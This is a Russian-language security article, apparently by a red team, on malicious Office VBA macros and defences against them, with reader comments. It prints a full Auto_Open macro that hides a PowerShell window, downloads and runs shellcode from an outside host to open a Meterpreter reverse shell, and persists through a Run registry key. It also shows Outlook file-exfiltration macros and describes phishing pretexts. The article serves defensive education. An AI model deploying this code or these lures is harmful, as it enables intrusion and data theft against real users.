В 1993 году вышел Excel 5.0 — первый продукт Microsoft, поддерживающий макросы на языке Visual Basic for Applications. Это событие стало настоящей революцией для офисных клерков: сотрудники, не обладавшие специальными знаниями в программировании, вдруг получили мощный инструмент для автоматизации монотонных офисных задач, которые прежде отнимали уйму времени. 

Однако макросы пришлись по душе не только работникам офисов. Всего спустя два года появился Concept — первый вирус, который эксплуатировал возможности макросов для кибератак. С тех пор макросы Microsoft Office стали излюбленным способом проникновения в корпоративную сеть у хакеров. Даже сегодня многие успешные атаки на компании начинаются с отправки фишингового письма с документом, который заражен вредоносным макросом.

В этой статье мы разберем механизмы работы макросов и на конкретных примерах покажем, как злоумышленники обходят средства защиты, которые Microsoft совершенствует уже четверть века. Отдельно поговорим про методы социальной инженерии, превращающие макросы в настоящее кибероружие в руках злодеев.


Что такое макросы и как их используют хакеры?

Макрос — это программа на языке VBA (Visual Basic for Applications), встроенная в документы Office для автоматизации рутинных задач, например форматирования текста или обработки данных. Однако с их помощью можно делать и более интересные вещи. Вот довольно известный, можно сказать классический пример хакерского макроса с полезной нагрузкой:

' Author: Matt Nelson
' Twitter: @enigma0x3
Sub Auto_Open() ' Автоматически запускаем макрос при открытии документа
	Execute ' Выполняем основную команду
	Persist ' Выполняем процедуру сохранения (закрепления)
End Sub

Public Function Execute() As Variant
	Const HIDDEN_WINDOW = 0 ' Константа для скрытого отображения окна процесса
    
	' Инициализируем WMI-сервис для управления процессами
	strComputer = "."
	Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    
	' Создаем экземпляр конфигурации процесса
	Set objStartup = objWMIService.Get("Win32ProcessStartup")
	Set objConfig = objStartup.SpawnInstance
	objConfig.ShowWindow = HIDDEN_WINDOW ' Устанавливаем свойства скрытого окна
    
	' Создаем и выполняем процесс PowerShell с параметрами
	Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
	objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit " & _
    	"'отвечает за создание процесса PowerShell.exe и скрывает окно от пользователя" & _
    	" -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode'));" & _
    	"'скачивает и выполняет удаленный PowerShell-скрипт, который выполняет обратный шелл Meterpreter" & _
    	" Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force;", _
    	' Исполняем удаленный скрипт
    	Null, objConfig, intProcessID
End Function

Public Function Persist() As Variant
	' Создаем объект WScript.Shell для работы с реестром
	Dim WShell As Object
	Set WShell = CreateObject("WScript.Shell")
    
	' Записываем ключ автозапуска в реестр для закрепления
	WShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate", _
    	"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -NonInteractive -WindowStyle Hidden " & _
    	"-noprofile -noexit -Command IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/persist.ps1'));" & _
    	"'каждый раз при входе в систему скачивается и исполняется скрипт persist.ps1", _
    	"REG_SZ" ' Указываем тип записи в реестре как строка (REG_SZ)
    
	' Освобождаем объект WShell
	Set WShell = Nothing
End Function

Атака с помощью макроса, как правило, начинается после открытия пользователем фишингового письма с вредоносным вложением. Внутри документа срабатывает процедура AutoOpen() — встроенный механизм VBA-макросов, который автоматически запускает вредоносный код.

Один из первых случаев подобного использования макросов — появившийся в 1999 году вирус Melissa. Встроенный в документ Word макрос получал доступ к адресной книге почтового клиента и автоматически рассылал свои копии по всем найденным контактам. Несмотря на простой механизм распространения, Melissa за несколько дней заразила более 100 тысяч компьютеров. Этот случай наглядно продемонстрировал, как эффективно макросы могут распространяться через доверенные каналы. 

Microsoft Office по-прежнему широко распространен, и в большинстве компаний запуск макросов не отключен в настройках групповых политик безопасности. Кроме того, эти скрипты работают не только в Microsoft Office, но и в других совместимых офисных пакетах — LibreOffice и OpenOffice, в графических редакторах, таких как Corel и даже в таких системах, как «Мой офис» (правда, пишутся они уже на языке Lua).

Успех вредоносной атаки через макросы всегда зависит от действий пользователя, поэтому злоумышленники используют этот инструмент в сочетании с техниками социальной инженерии. Они умело манипулируют человеческими эмоциями: любопытством, страхом, жадностью или профессиональной ответственностью. Например:

  • прямо в письме указывают, что документ создан в более старой версии Office, и для полноценного просмотра нужно включить макрос;

  • отправляют документ секретарю с пометкой, что его необходимо срочно распечатать по просьбе вышестоящего начальника — в защищенном режиме кнопка печати будет недоступна, и пользователь под давлением обстоятельств может принудительно запустить процесс печати;

  • некоторые кнопки в Office-документах можно связать с макросами или OLE-объектами, вставив график из Excel в документ Word.

В одном из наших кейсов макрос внедрялся в резюме, отправленное HR-специалистам компании. В документе была размыта фотография кандидата: чтобы посмотреть её, пользователю предлагалось включить макрос, кликнув по фото.

Другой пример — вредоносное вложение в виде Excel-таблицы с важными финансовыми данными, где часть информации скрыта. Чтобы увидеть полную таблицу, пользователь должен активировать макрос, который на самом деле загружает вредоносное ПО. 

При целенаправленной атаке злоумышленники могут использовать макросы для поиска и кражи конкретных файлов на компьютере жертвы — например, документов с определенными словами в названиях. Технически это реализуется следующим образом:

Public Sub CreateMailWAttach()
	' Объявляем переменную для хранения объекта письма
	Dim MyEmail As MailItem

	' Создаем новое почтовое сообщение в Outlook
	Set MyEmail = Application.CreateItem(olMailItem)
    
	' Объявляем переменные для пути к папке с вложением и имени файла
	Dim AttachFolder As String, AttachFile As String

	' Указываем путь к папке и имя файла вложения
	AttachFolder = "C:\temp\"    	' Путь к папке с файлом
	AttachFile = "Dummy.zip"     	' Имя файла для вложения
    
	' Настраиваем параметры письма
	With MyEmail
    	.To = "****@mail.ru; ****@yandex.ru"   ' Адреса получателей (через точку с запятой)
    	.Subject = "This is your message subject" ' Тема письма
    	.Body = "Insert your email text body here" ' Текст письма
    	.CC = "cc@my_server.com"              	' Адрес для копии письма (CC)
   	 
    	' Добавляем вложение из указанного пути
    	.Attachments.Add AttachFolder & AttachFile
	End With

	' Автоматически отправляем письмо
	MyEmail.Send
End Sub

Скрипт станет еще опаснее, если научить его искать файлы, содержащие в названии или теле документа ключевые слова «пароль» или «логин», и отправлять такие файлы атакующему. 

Но дьявол кроется в деталях: запуск сторонних процессов через макросы привлекает внимание антивирусных систем. 

Антивирус бьет тревогу, когда процесс Word запускает командную строку или обращается к PowerShell 
Антивирус бьет тревогу, когда процесс Word запускает командную строку или обращается к PowerShell 

Чтобы не провоцировать срабатывание механизмов защиты, хакеры стараются минимизировать функциональность макроса и избегают вызова внешних процессов. Макрос становится лишь первым звеном в цепочке атаки.

Например, можно сократить полезную нагрузку до минимума, позволив макросу скачать DLL-библиотеку или исполняемый файл, который будет запускаться в памяти, не касаясь диска. Основная логика заключается в том, чтобы сам макрос не содержал функциональности, которая может вызвать срабатывание антивируса. Злоумышленники любят использовать Base64-кодирование для упаковки данных или ссылаться на удаленные исполняемые скрипты.

То же самое справедливо и для белых хакеров. Макрос для RedTeam — всегда только точка входа. Нет смысла пытаться реализовать что-то сложное с его помощью: он все равно живет ровно столько, сколько открыт исполняемый документ на компьютере потенциальной жертвы. 

Сам документ может быть любым — объемный текст или короткая таблица, которую быстро закроют. У нас нет времени «сидеть» в этом процессе
Сам документ может быть любым — объемный текст или короткая таблица, которую быстро закроют. У нас нет времени «сидеть» в этом процессе

Кроме того, использование макросов удобно для фишинга: отправка исполняемых файлов, таких как EXE или SCR, может вызвать подозрения, так как спам-фильтры могут легко их обнаружить. Напротив, если макрос зашифрован или «замаскирован», его сложнее заметить — например, можно поместить основную часть кода в текст документа или в ячейку Excel, расположенную на какой-нибудь 500-й строке. Таким образом, макрос будет выглядеть безобидно, но только до тех пор, пока не соберет свой код из этих ячеек.

Иногда злоумышленники прибегают к внутреннему фишингу, то есть распространяют зараженный файл с домена компании. Люди склонны больше доверять письмам от коллег, чем от отправителей извне, поэтому такие атаки весьма эффективны, особенно если в компании не настроены спам-фильтры.

Sub SendFileAsAttachment()
	' Объявляем переменные для работы с объектами Outlook
	Dim OLApp As Outlook.Application	' Приложение Outlook
	Dim OLMail As Object            	' Объект для письма

	' Создаем экземпляр приложения Outlook
	Set OLApp = New Outlook.Application

	' Создаем новый элемент письма (MailItem)
	Set OLMail = OLApp.CreateItem(0)

	' Выполняем вход в Outlook (если пользователь не вошел)
	OLApp.Session.Logon  

	' Конфигурируем письмо и добавляем вложение
	With OLMail
    	.To = "admin@datapigtechnologies.com; mike@datapigtechnologies.com" ' Адресаты письма
    	.CC = ""     	' Поле для копии (оставлено пустым)
    	.BCC = ""    	' Поле для скрытой копии (оставлено пустым)
    	.Subject = "This is the Subject line" ' Тема письма
    	.Body = "Hi there"                 	' Основной текст письма

    	' Добавляем текущую активную книгу (Excel) в качестве вложения
    	.Attachments.Add ActiveWorkbook.FullName

    	' Отображаем письмо для проверки (измените на .Send, чтобы отправить без проверки)
    	.Display
	End With

	' Освобождаем память, удаляя ссылки на объекты
	Set OLMail = Nothing
	Set OLApp = Nothing
End Sub

Какие меры защиты предпринимает Microsoft

Вот уже 25 лет Microsoft развивает механизмы противодействия подобным атакам. 

Ключевым элементом безопасности является технология Mark of the Web, которая автоматически помечает все документы, загруженные из интернета. При обнаружении такой метки Microsoft Word запускает документ в защищенном режиме просмотра, блокируя выполнение макросов и других потенциально опасных элементов. Она предотвращает автоматическое выполнение вредоносного кода из непроверенных источников.

Еще одна защитная опция — политика запрета исполнения макросов в MS Office. С ее помощью администраторы могут настроить систему так, чтобы макросы либо вообще не исполнялись, либо выполнялись только если они подписаны доверенным сертификатом.

Кроме того, в Windows PRO и Enterprise существует возможность настройки групповых политик безопасности с использованием функции Attack Surface Reduction. ASR это набор встроенных правил, которые можно применить для уменьшения поверхности атаки.

Перечисленные механизмы защиты работают в связке с файловой системой NTFS, которая поддерживает альтернативные потоки данных. Например, Mark of the Web использует альтернативные потоки для хранения метки, которая указывает на загрузку файла из ненадежного источника, а ASR использует информацию из этих потоков для того, чтобы ограничить создание дочерних процессов приложениями Microsoft Office.

Немного интересных примеров из практики

Несмотря на все меры противодействия, даже спустя двадцать пять лет макросы остаются эффективным вектором атаки по двум основным причинам. Во-первых, пакет Microsoft Office и совместимое с ним ПО используется в большинстве организаций как стандартное решение для работы с документами. Во-вторых, человеческий фактор по-прежнему остается слабым звеном в системе безопасности.

Недавний пример из практики: в одном из последних редтимингов мы отправили сотруднику компании-заказчика фишинговое письмо с вредоносным документом. Однако письмо не было доставлено — сработали СЗИ на уровне почтового сервера. 

Мы воспользовались этой ситуацией — созвонились с сотрудником, сослались на технический сбой и предложили отправить документ через телеграм, разом обойдя добрую половину защитных механизмов.

Для обхода блокировки мы предложили отправить файл через мессенджер
Для обхода блокировки мы предложили отправить файл через мессенджер

Да, папка Telegram Downloads тоже находится в директории Downloads, которая по умолчанию считается недоверенной и попадает под политики безопасности, блокирующие выполнение макросов. Однако мессенджеры остаются эффективным каналом распространения вредоносных документов из-за высокого уровня доверия пользователей к личным сообщениям и возможности обхода части корпоративных систем защиты.


Макросы в Microsoft Office представляют собой классический пример того, как полезная функциональность может превратиться в серьезную угрозу безопасности. Эффективность макросов как инструмента проникновения в корпоративные сети базируется на трех ключевых факторах:

  • повсеместное использование Microsoft Office и совместимых решений;

  • сложность полного запрета макросов из-за их востребованности в бизнес-процессах;

  • устойчивость социальной инженерии как метода доставки вредоносного контента.

Хотя Microsoft совершенствует защитные механизмы, внедряя технологии вроде Mark of the Web и Attack Surface Reduction, злоумышленники успешно адаптируются, переходя от прямого исполнения кода к многоэтапным схемам с минимальной начальной полезной нагрузкой. Отдельного внимания заслуживает тенденция использования новых каналов коммуникации, например мессенджеров, для обхода традиционных средств защиты.

Для анализа подозрительных документов MS Office рекомендуем Oletools — бесплатный набор утилит на Python и OfficeMalScanner. Однако в современных реалиях построение эффективной защиты от атак через макросы требует комплексного подхода, включающего:

  • строгую настройку групповых политик безопасности;

  • регулярное обучение сотрудников методам выявления подозрительных документов;

  • внедрение многоуровневых систем анализа вложений;

  • контроль легитимных каналов распространения документов.

Технический прогресс продолжает открывать новые возможности как для атакующих, так и для защищающихся. Однако пока существуют Microsoft Office и социальная инженерия, макросы останутся привлекательным вектором атаки, требующим постоянного внимания специалистов по информационной безопасности.

Комментарии (3)


  1. AlexeyK77
    11.12.2024 11:14

    еще добавить: хороший антиврус, который позволяет организации самой разрабатывать дополнительные кастомные политики контроля приложений (на уровне запуска процессов, файловой активности, активности реестра, контроль подгрузки ДЛЛ. контроль АПИ-вызовов).

    Таких антивирусов к сожалению очень немного и они все дорогие.

    Удивительно, что микрософт не пошел по пути, когда макросы можно запускать но с некоторыми частичными ограничениями функций, которыми можно рулить через групповую политику:
    - макросы разрешены, на функции работы из макроса с файловой системой блокируются

    - макросы разрешены, на функции работы с процессами блокируются

    - макросы разрешены, на функции работы с реестром блокируются

    - макросы разрешены, на функции работы с ДЛЛ блокируются

    - макросы разрешены, на функции прямого вызова любого API к ядру блокируются.

    Реально, этого было бы достсточно что бы прикрыть эту тему на корню, но нет, это слишком сложно для микрософт, легче скруглять кнопки и пилить анимации.


  1. retab
    11.12.2024 11:14

    Был случай, когда полезную нагрузку поместили в поле "Автор". Сначала шла фамилия, к примеру Иванов, затем около 50 пробелов, а после уже полезная нагрузка в base64.


    1. anonymous
      11.12.2024 11:14

      НЛО прилетело и опубликовало эту надпись здесь